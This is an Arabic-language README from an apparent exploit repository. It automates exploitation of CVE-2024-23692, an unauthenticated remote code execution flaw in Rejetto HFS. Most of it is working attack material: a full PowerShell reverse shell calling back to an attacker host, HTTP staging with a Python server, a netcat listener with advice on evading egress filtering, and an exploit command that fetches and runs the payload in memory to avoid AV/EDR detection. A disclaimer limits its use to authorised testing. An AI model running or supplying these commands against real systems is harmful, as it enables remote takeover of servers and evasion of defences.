sandimfz/cve-2024-23692يؤتمت استغلال CVE-2024-23692 ضد خوادم Rejetto HFS غير المصحّحة باستخدام قشرة عكسية لـ PowerShell تعمل في الذاكرة، وتجهيز الحمولة عبر HTTP، وتفادي الكتابة على القرص لتجنّب اكتشاف AV/EDR، وذلك لعمليات الفريق الأحمر المصرح بها.
توثيق تكتيكي ودليل استغلال لـ CVE-2024-23692، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد (RCE) بدون مصادقة تؤثر على إصدارات Rejetto HTTP File Server (HFS) السابقة للإصدار 2.3m. يستفيد هذا الدليل من تقنية In-Memory Reverse Shell (في الذاكرة فقط) لتجاوز عمليات الكشف القائمة على التوقيعات التي تعتمد على الكتابة على القرص في برامج مكافحة الفيروسات/EDR بنجاح.
إخلاء المسؤولية: هذا المستودع ومحتوياته مخصصان بشكل صارم لتقييمات الأمان المصرّح بها، ومهام اختبار الاختراق، ومحاكاة مكافآت الثغرات، والتدقيق الجنائي الدفاعي. يُعد الاستخدام غير المصرّح به ضد بيئات الطرف الثالث غير قانوني بشكل صارم.
يعتمد قالب الفحص الآلي المُنفَّذ في سير عمل إثبات المفهوم هذا على المستودع العام الذي طوّره:
تتضمن هذه الطريقة نموذج نشر HTTP stager لتوصيل سلسلة حمولة نصية ديناميكيًا إلى البيئة الهدف، مما يستدعي التنفيذ المباشر من ذاكرة النظام المتطايرة (RAM).
على خادم C2/المهاجم المحلي الخاص بك، أنشئ ملفًا نصيًا ثابتًا باسم index.html واملأه بكود حلقة PowerShell TCP Socket الأساسي التالي:
\$c = New-Object System.Net.Sockets.TCPClient('<LHOST>',80);\$s = \$c.GetStream();[byte[]]\$b = 0..65535|%{0};while((\$i = \$s.Read(\$b, 0, \$b.Length)) -ne 0){;\$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$b,0, \$i);\$sb = (iex \$d 2>&1 | Out-String );\$sb2 = \$sb + 'PS ' + (pwd).Path + '> ';\$sbt = ([text.encoding]::ASCII).GetBytes(\$sb2);\$s.Write(\$sbt,0,\$sbt.Length);\$s.Flush()};\$c.Close()
افتح نافذة طرفية داخل مجلد التجهيز المخصص الذي يحتوي على ملف قالب الحمولة الخاص بك، ثم شغّل مستمع Python HTTP فوريًا على منفذ بديل (مثل 8080):
python3 -m http.server 8080
افتح جلسة طرفية ثانية مستقلة لاستضافة استدعاء الصدفة (shell) المستمر الوارد. يُوصى بشدة باستخدام المنفذ 80 (أو 443) لتجاوز تدابير الحماية المحيطية الصادرة بسهولة (Egress Firewall Filtering):
sudo nc -lvnp 80
أطلق محرك التحقق الآلي مستهدفًا بنية النشر الخاصة بك. يستدعي الهدف تحليل الأوامر عبر غلاف تنفيذ CMD محلي للحفاظ على استقرار السلسلة الأمثل دون إسقاط أعلام المعاملات:
./CVE-2024-23692.sh http://<TARGET_IP>:<PORT> "cmd /c powershell -nop -w hidden -c \"IEX (New-Object Net.WebClient).DownloadString('http://<LHOST>')\""
لمحو الاختراقات بالكامل ومعالجة البيئات التشغيلية المعرّضة للخطر:
Get-Process -Name *hfs* | Stop-Process -Force
Remove-Item -Path "C:\Users\Public\*.exe" -Force -ErrorAction SilentlyContinue